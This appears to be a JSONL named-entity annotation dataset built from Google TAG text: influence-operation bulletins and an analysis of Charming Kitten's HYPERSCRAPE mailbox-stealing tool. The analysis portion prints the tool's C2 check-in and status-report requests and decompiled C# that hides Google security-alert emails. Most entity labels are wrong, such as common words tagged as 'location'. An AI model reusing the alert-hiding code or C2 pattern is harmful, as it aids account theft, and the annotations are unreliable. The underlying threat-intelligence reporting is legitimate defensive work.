-{"id":11129,"text":"Addressing state-sponsored DDoS attacks requires a coordinated response from the internet community, and we work with others to identify and dismantle infrastructure used to conduct attacks.","entities":[{"id":34009,"label":"location","start_offset":90,"end_offset":99},{"id":34010,"label":"location","start_offset":101,"end_offset":104},{"id":34011,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":11130,"text":"Going forward, we’ll also use this blog to report attribution and activity we see in this space from state-backed actors when we can do so with a high degree of confidence and in a way that doesn’t disclose information to malicious actors.","entities":[{"id":34012,"label":"location","start_offset":62,"end_offset":65},{"id":34013,"label":"location","start_offset":129,"end_offset":132},{"id":34014,"label":"location","start_offset":161,"end_offset":171},{"id":34015,"label":"location","start_offset":172,"end_offset":175},{"id":34016,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]}
 {"id":11131,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q3 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":11132,"text":"It was last updated on October 16, 2020.","entities":[],"relations":[],"Comments":[]}
-{"id":11133,"text":"We terminated 1 advertising account and 7 YouTube channels as part of our actions against a coordinated influence operation linked to Ecuador.","entities":[{"id":34020,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":11134,"text":"The campaign was linked to the PR firm Estraterra, and posted content in Spanish about former Ecuador government employees.","entities":[{"id":34024,"label":"location","start_offset":4,"end_offset":12},{"id":34026,"label":"location","start_offset":51,"end_offset":54},{"id":34027,"label":"location","start_offset":62,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":11135,"text":"These findings are consistent with similar findings reported by Facebook.","entities":[{"id":34030,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":11136,"text":"We terminated 299 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":11137,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.","entities":[{"id":34035,"label":"location","start_offset":38,"end_offset":45},{"id":34037,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":11138,"text":"A very small subset uploaded content in Chinese about COVID-19 and current events in Hong Kong.","entities":[{"id":34038,"label":"location","start_offset":7,"end_offset":12},{"id":34039,"label":"location","start_offset":29,"end_offset":36},{"id":34041,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":11139,"text":"These findings are consistent with our previous reports in the Q2 TAG bulletin.","entities":[{"id":34043,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":11140,"text":"We terminated 1,846 YouTube channels and 5 blogs as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[{"id":34047,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":11141,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.","entities":[{"id":34050,"label":"location","start_offset":38,"end_offset":45},{"id":34052,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":11142,"text":"A small subset of the channels uploaded content in English about current events in Hong Kong and the U.S. response to COVID-19.","entities":[{"id":34053,"label":"location","start_offset":2,"end_offset":7},{"id":34054,"label":"location","start_offset":40,"end_offset":47},{"id":34057,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":11143,"text":"These findings are consistent with our previous reports in the Q2 TAG bulletin.","entities":[{"id":34059,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":11144,"text":"We terminated 8 YouTube channels as part of our actions against a coordinated influence operation linked to Yemen.","entities":[],"relations":[],"Comments":[]}
-{"id":11145,"text":"This domestic campaign posted content in Arabic in support of the Yemeni government.","entities":[{"id":34063,"label":"location","start_offset":5,"end_offset":13},{"id":34064,"label":"location","start_offset":14,"end_offset":22},{"id":34065,"label":"location","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":11146,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":34068,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11147,"text":"We terminated 4 YouTube channels as part of our actions against a coordinated influence operation.","entities":[],"relations":[],"Comments":[]}
-{"id":11148,"text":"The campaign was linked to a U.S.-based PR firm, CLS Strategies, and posted content in Spanish about Mexican elections.","entities":[{"id":34072,"label":"location","start_offset":4,"end_offset":12},{"id":34075,"label":"location","start_offset":65,"end_offset":68},{"id":34076,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":11149,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":34079,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11150,"text":"We terminated 1,628 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":11151,"text":"These channels mostly uploaded spammy content in English and Chinese about music, entertainment, and lifestyle.","entities":[{"id":34084,"label":"location","start_offset":38,"end_offset":45},{"id":34086,"label":"location","start_offset":57,"end_offset":60},{"id":34088,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":11152,"text":"A small subset of the channels uploaded content in English about current events in the U.S. and the U.S. response to COVID-19.","entities":[{"id":34089,"label":"location","start_offset":2,"end_offset":7},{"id":34090,"label":"location","start_offset":40,"end_offset":47},{"id":34093,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":11153,"text":"These findings are consistent with our previous reports in the Q2 TAG bulletin.","entities":[{"id":34095,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":11154,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 of 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":11155,"text":"It was last updated on August 5, 2020.","entities":[],"relations":[],"Comments":[]}
-{"id":11156,"text":"We terminated 16 YouTube channels, 1 advertising account and 1 AdSense account as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[{"id":34102,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":11157,"text":"The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and posted content in Arabic related to the U.S. response to COVID-19 and content about Saudi-American relations.","entities":[{"id":34106,"label":"location","start_offset":4,"end_offset":12},{"id":34110,"label":"location","start_offset":108,"end_offset":111},{"id":34111,"label":"location","start_offset":119,"end_offset":126},{"id":34115,"label":"location","start_offset":178,"end_offset":181},{"id":34116,"label":"location","start_offset":182,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":11158,"text":"We received leads from FireEye and Graphika that supported us in this investigation.","entities":[{"id":34119,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":11159,"text":"We terminated 15 YouTube channels and 3 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":34122,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":11160,"text":"The campaign posted content in English and Russian about the EU, Lithuania, Ukraine, and the U.S., similar to the findings in a recent Graphika report called Secondary Infektion.","entities":[{"id":34125,"label":"location","start_offset":4,"end_offset":12},{"id":34126,"label":"location","start_offset":20,"end_offset":27},{"id":34128,"label":"location","start_offset":39,"end_offset":42},{"id":34133,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
 {"id":11161,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":11162,"text":"We terminated 7 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":11163,"text":"The campaign posted content in Russian, German, and Farsi about Russian and Syrian politics and the U.S. response to COVID-19.","entities":[{"id":34141,"label":"location","start_offset":4,"end_offset":12},{"id":34142,"label":"location","start_offset":20,"end_offset":27},{"id":34145,"label":"location","start_offset":48,"end_offset":51},{"id":34148,"label":"location","start_offset":72,"end_offset":75},{"id":34150,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":11164,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":34152,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11165,"text":"We terminated 186 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":11166,"text":"These channels mostly uploaded spammy, non-political content, but a small subset posted political content primarily in Chinese similar to the findings in a recent Graphika report, including content related to the U.S. response to COVID-19.","entities":[{"id":34157,"label":"location","start_offset":53,"end_offset":60},{"id":34158,"label":"location","start_offset":68,"end_offset":73},{"id":34159,"label":"location","start_offset":98,"end_offset":105},{"id":34162,"label":"location","start_offset":190,"end_offset":197}],"relations":[],"Comments":[]}
 {"id":11167,"text":"We terminated 1,098 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":11168,"text":"These channels mostly uploaded spammy, non-political content, but a small subset posted political content primarily in Chinese similar to the findings in a recent Graphika report, including content related to the U.S. response to COVID-19.","entities":[{"id":34167,"label":"location","start_offset":53,"end_offset":60},{"id":34168,"label":"location","start_offset":68,"end_offset":73},{"id":34169,"label":"location","start_offset":98,"end_offset":105},{"id":34172,"label":"location","start_offset":190,"end_offset":197}],"relations":[],"Comments":[]}
 {"id":11169,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":11170,"text":"We terminated 47 YouTube channels and 1 AdSense account as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":34177,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":11171,"text":"The campaign posted content in a coordinated manner primarily in Russian about domestic Russian and international policy issues.","entities":[{"id":34181,"label":"location","start_offset":4,"end_offset":12},{"id":34182,"label":"location","start_offset":20,"end_offset":27},{"id":34184,"label":"location","start_offset":79,"end_offset":87},{"id":34186,"label":"location","start_offset":96,"end_offset":99},{"id":34187,"label":"location","start_offset":100,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":11172,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":34188,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11173,"text":"We terminated 1,312 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":11174,"text":"These channels mostly uploaded spammy, non-political content, but a subset posted political content primarily in Chinese similar to the findings in a recent Graphika report, including content related to racial justice protests in the U.S. This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":34193,"label":"location","start_offset":53,"end_offset":60},{"id":34194,"label":"location","start_offset":92,"end_offset":99},{"id":34197,"label":"location","start_offset":184,"end_offset":191},{"id":34198,"label":"location","start_offset":210,"end_offset":217},{"id":34200,"label":"location","start_offset":244,"end_offset":252}],"relations":[],"Comments":[]}
 {"id":11175,"text":"We terminated 17 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":11176,"text":"The campaign posted comments in Russian in a coordinated manner under a small set of Russian language videos.","entities":[{"id":34205,"label":"location","start_offset":4,"end_offset":12},{"id":34207,"label":"location","start_offset":72,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":11177,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":34209,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":11178,"text":"We banned 3 Play Developers and terminated 1 advertising account as part of our actions against a coordinated influence operation.","entities":[{"id":34212,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":11179,"text":"The campaign was posting news content in English and French, targeting audiences in Africa.","entities":[{"id":34214,"label":"location","start_offset":4,"end_offset":12},{"id":34215,"label":"location","start_offset":30,"end_offset":37},{"id":34217,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":11180,"text":"We found evidence of this campaign being tied to the PR company Ureputation based in Tunisia.","entities":[{"id":34220,"label":"location","start_offset":26,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":11181,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":34223,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":11182,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.","entities":[{"id":34226,"label":"location","start_offset":17,"end_offset":24},{"id":34228,"label":"location","start_offset":62,"end_offset":65},{"id":34229,"label":"location","start_offset":94,"end_offset":99},{"id":34231,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":11183,"text":"For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":34235,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":11184,"text":"Now, we’re shining light on a new tool of theirs.","entities":[{"id":34237,"label":"location","start_offset":19,"end_offset":24},{"id":34238,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":11185,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":34241,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":34242,"label":"location","start_offset":57,"end_offset":61},{"id":34246,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":11186,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.","entities":[],"relations":[],"Comments":[]}
 {"id":11187,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":11188,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":34252,"label":"location","start_offset":17,"end_offset":23},{"id":34254,"label":"location","start_offset":38,"end_offset":41},{"id":34255,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":11189,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[{"id":34256,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":11190,"text":"This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.","entities":[{"id":34257,"label":"location","start_offset":5,"end_offset":9},{"id":34258,"label":"location","start_offset":10,"end_offset":14},{"id":34262,"label":"location","start_offset":127,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":11191,"text":"HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.","entities":[{"id":34264,"label":"threat-actor","start_offset":25,"end_offset":40},{"id":34265,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":11192,"text":"Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.","entities":[{"id":34266,"label":"location","start_offset":5,"end_offset":9},{"id":34268,"label":"threat-actor","start_offset":135,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":11193,"text":" HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.","entities":[],"relations":[],"Comments":[]}
-{"id":11194,"text":"It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.","entities":[{"id":34270,"label":"location","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":11195,"text":"Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.","entities":[{"id":34272,"label":"location","start_offset":20,"end_offset":24},{"id":34274,"label":"location","start_offset":76,"end_offset":79},{"id":34275,"label":"location","start_offset":174,"end_offset":177},{"id":34276,"label":"location","start_offset":186,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":11196,"text":"After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.","entities":[{"id":34277,"label":"location","start_offset":108,"end_offset":111},{"id":34278,"label":"location","start_offset":124,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":11197,"text":"Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.","entities":[{"id":34281,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":11198,"text":"The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.","entities":[{"id":34282,"label":"location","start_offset":4,"end_offset":8},{"id":34283,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":11199,"text":"We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.","entities":[{"id":34286,"label":"location","start_offset":100,"end_offset":103},{"id":34289,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":11200,"text":"HYPERSCRAPE won't run unless in a directory with other file dependencies.","entities":[],"relations":[],"Comments":[]}
-{"id":11201,"text":"When launched, the tool makes an HTTP GET request to a C2 to check for a response body of \"OK'' and will terminate if it's not found.","entities":[{"id":34292,"label":"location","start_offset":19,"end_offset":23},{"id":34293,"label":"location","start_offset":61,"end_offset":66},{"id":34294,"label":"location","start_offset":96,"end_offset":99},{"id":34295,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":11202,"text":"In the version tested, the C2 was unobfuscated and stored as a hardcoded string.","entities":[{"id":34296,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":11203,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]}
 {"id":11204,"text":"GET http:\/\/{C2}\/Index.php?Ck=OK HTTP\/1.1","entities":[{"id":34297,"label":"URL","start_offset":4,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":11205,"text":"Host: {C2}","entities":[{"id":34298,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":11206,"text":"Accept-Encoding: gzip Connection: Keep-Alive","entities":[],"relations":[],"Comments":[]}
-{"id":11207,"text":"The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.","entities":[{"id":34299,"label":"location","start_offset":4,"end_offset":8},{"id":34300,"label":"location","start_offset":61,"end_offset":65},{"id":34301,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":11208,"text":"A new form is displayed if the information is not provided via command prompt.","entities":[],"relations":[],"Comments":[]}
-{"id":11209,"text":"Once provided, the data in the \"Identity\" field is sent to a C2 for confirmation.","entities":[{"id":34302,"label":"location","start_offset":42,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":11210,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]}
 {"id":11211,"text":"GET http:\/\/{C2}\/Index.php?vubc={identity} HTTP\/1.1","entities":[{"id":34303,"label":"URL","start_offset":4,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":11212,"text":"Host: {C2} Accept-Encoding: gzip","entities":[{"id":34304,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":11213,"text":"If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.","entities":[{"id":34305,"label":"location","start_offset":74,"end_offset":78},{"id":34306,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":11214,"text":"After parsing, the cookies are inserted into a local cache used by the embedded web browser.","entities":[{"id":34307,"label":"location","start_offset":27,"end_offset":30},{"id":34308,"label":"location","start_offset":53,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":11215,"text":"A new folder named \"Download\" is created adjacent to the main binary.","entities":[],"relations":[],"Comments":[]}
 {"id":11216,"text":"The browser then navigates to Gmail to begin the data collection.","entities":[],"relations":[],"Comments":[]}
-{"id":11217,"text":"The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.","entities":[{"id":34310,"label":"location","start_offset":100,"end_offset":103},{"id":34311,"label":"location","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":11218,"text":"If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.","entities":[{"id":34313,"label":"malware","start_offset":64,"end_offset":68},{"id":34314,"label":"location","start_offset":82,"end_offset":85},{"id":34315,"label":"location","start_offset":99,"end_offset":102},{"id":34316,"label":"location","start_offset":112,"end_offset":117},{"id":34317,"label":"location","start_offset":157,"end_offset":161},{"id":34318,"label":"location","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]}
 {"id":11219,"text":"Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.","entities":[],"relations":[],"Comments":[]}
 {"id":11220,"text":"The language is returned to its original setting when the run is finished.","entities":[],"relations":[],"Comments":[]}
 {"id":11221,"text":"HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.","entities":[],"relations":[],"Comments":[]}
-{"id":11222,"text":"It does the following for each email found: The emails are saved with \".eml\" extensions under the Downloads directory with the filename corresponding to the subject.","entities":[{"id":34322,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":11223,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]}
-{"id":11224,"text":"When finished, a HTTP POST request is made to the C2 to relay the status and system information.","entities":[{"id":34323,"label":"location","start_offset":22,"end_offset":26},{"id":34324,"label":"location","start_offset":38,"end_offset":42},{"id":34325,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":11225,"text":"The downloaded emails are not sent to the C2.","entities":[{"id":34326,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
 {"id":11226,"text":"POST http:\/\/{C2}\/?Key={GUID}&Crc={Identifier} { \"appName\": \"Gmail Downloader\", \"targetname\": \"{Email}\", \"HostName\": \"REDACTED\", \"srcUserIP\": \"REDACTED\", \"actionType\": \"First\", \"timeOccurrence\": \"05\/01\/2022 05:50:31 PM\", \"OS\": \"REDACTED\", \"OSVersion\": \"REDACTED\", \"SystemModel\": \"REDACTED\", \"SystemType\": \"REDACTED\", \"srcName\": \"REDACTED\", \"srcOrgName\": \"REDACTED\" }","entities":[{"id":34327,"label":"location","start_offset":0,"end_offset":4},{"id":34328,"label":"URL","start_offset":5,"end_offset":44},{"id":34330,"label":"TIME","start_offset":206,"end_offset":217}],"relations":[],"Comments":[]}
-{"id":11227,"text":"The program will delete any security emails from Google generated by the attacker’s activity.","entities":[{"id":34331,"label":"location","start_offset":12,"end_offset":16},{"id":34332,"label":"location","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":11228,"text":"private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName(\"span\") where x.TextContent.StartsWith (\"Security alert\") || x.TextContent.StartsWith(\"Archive of Google data requested\") || x.TextContent.StartsWith(\"Your Google data archive is ready\") || x.TextContent.StartsWith(\"Your Google data is ready\") || x.TextContent.StartsWith(\"Critical security alert\") ||","entities":[{"id":34334,"label":"location","start_offset":33,"end_offset":37},{"id":34335,"label":"location","start_offset":59,"end_offset":63},{"id":34336,"label":"location","start_offset":169,"end_offset":177},{"id":34337,"label":"location","start_offset":178,"end_offset":183},{"id":34341,"label":"location","start_offset":410,"end_offset":418},{"id":34342,"label":"location","start_offset":419,"end_offset":424}],"relations":[],"Comments":[]}
 {"id":11229,"text":"x.TextContent.StartsWith(\"Access for less secure apps has been turned on\") ||","entities":[],"relations":[],"Comments":[]}
 {"id":11230,"text":"x.TextContent.StartsWith(\"Review blocked sign-in attempt\") || x.TextContent.","entities":[],"relations":[],"Comments":[]}
-{"id":11231,"text":"StartsWith(\"Help us protect you: Security advice from Google\")","entities":[{"id":34343,"label":"location","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":11232,"text":"x.TextContent.StartsWith(\"Access for less secure apps has been turned on\") select x).ToList","entities":[],"relations":[],"Comments":[]}
 {"id":11233,"text":"GeckoHtmlElement > (","entities":[],"relations":[],"Comments":[]}
-{"id":11234,"text":"; bool flag = list.Count == 0; return !flag; }","entities":[{"id":34344,"label":"location","start_offset":7,"end_offset":11},{"id":34345,"label":"location","start_offset":14,"end_offset":18},{"id":34346,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":11235,"text":"Data from Google Takeout is also available upon request, but the option was only found in early builds.","entities":[{"id":34347,"label":"location","start_offset":76,"end_offset":80},{"id":34348,"label":"location","start_offset":90,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":11236,"text":"The functionality was not automated and it's unclear why it was removed in later versions.","entities":[{"id":34349,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":11237,"text":"When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.","entities":[{"id":34350,"label":"location","start_offset":39,"end_offset":43},{"id":34351,"label":"location","start_offset":71,"end_offset":74},{"id":34352,"label":"location","start_offset":136,"end_offset":139},{"id":34353,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":11238,"text":"When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.","entities":[{"id":34354,"label":"location","start_offset":10,"end_offset":13},{"id":34355,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":11239,"text":"public void ManageTakeOut() { string text = \"PipeName\";","entities":[{"id":34356,"label":"location","start_offset":0,"end_offset":6},{"id":34357,"label":"malware","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":11240,"text":"Process process = new Process(); process.StartInfo.Arguments = string.Format(\"PIPE Google \\\"{0}\\\"\", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();","entities":[{"id":34358,"label":"location","start_offset":193,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":11241,"text":"PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)","entities":[{"id":34359,"label":"location","start_offset":78,"end_offset":82},{"id":34360,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":11242,"text":"{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }","entities":[{"id":34361,"label":"location","start_offset":71,"end_offset":75},{"id":34362,"label":"location","start_offset":79,"end_offset":83},{"id":34363,"label":"location","start_offset":180,"end_offset":184},{"id":34364,"label":"location","start_offset":207,"end_offset":211},{"id":34365,"label":"location","start_offset":214,"end_offset":218},{"id":34366,"label":"location","start_offset":227,"end_offset":231}],"relations":[],"Comments":[]}
 {"id":11243,"text":"jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }","entities":[],"relations":[],"Comments":[]}
-{"id":11244,"text":"catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }","entities":[{"id":34367,"label":"location","start_offset":73,"end_offset":77},{"id":34368,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":11245,"text":"pipeCommunication.Close(); }","entities":[],"relations":[],"Comments":[]}
-{"id":11246,"text":"TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.","entities":[{"id":34370,"label":"location","start_offset":102,"end_offset":110},{"id":34371,"label":"location","start_offset":111,"end_offset":120},{"id":34372,"label":"location","start_offset":122,"end_offset":125},{"id":34373,"label":"location","start_offset":140,"end_offset":143},{"id":34374,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":11247,"text":"It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.","entities":[{"id":34376,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":11248,"text":"We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.","entities":[{"id":34377,"label":"location","start_offset":3,"end_offset":7},{"id":34378,"label":"location","start_offset":17,"end_offset":21},{"id":34379,"label":"location","start_offset":55,"end_offset":58},{"id":34380,"label":"location","start_offset":75,"end_offset":79},{"id":34381,"label":"location","start_offset":95,"end_offset":102},{"id":34382,"label":"location","start_offset":116,"end_offset":119},{"id":34383,"label":"location","start_offset":120,"end_offset":124},{"id":34384,"label":"location","start_offset":160,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":11249,"text":"We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[{"id":34385,"label":"tools","start_offset":70,"end_offset":76},{"id":34386,"label":"location","start_offset":77,"end_offset":80},{"id":34387,"label":"location","start_offset":81,"end_offset":89},{"id":34388,"label":"location","start_offset":112,"end_offset":115},{"id":34389,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
 {"id":11250,"text":"In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.","entities":[{"id":34390,"label":"location","start_offset":72,"end_offset":82},{"id":34391,"label":"location","start_offset":97,"end_offset":100},{"id":34392,"label":"threat-actor","start_offset":139,"end_offset":143},{"id":34393,"label":"location","start_offset":195,"end_offset":205}],"relations":[],"Comments":[]}
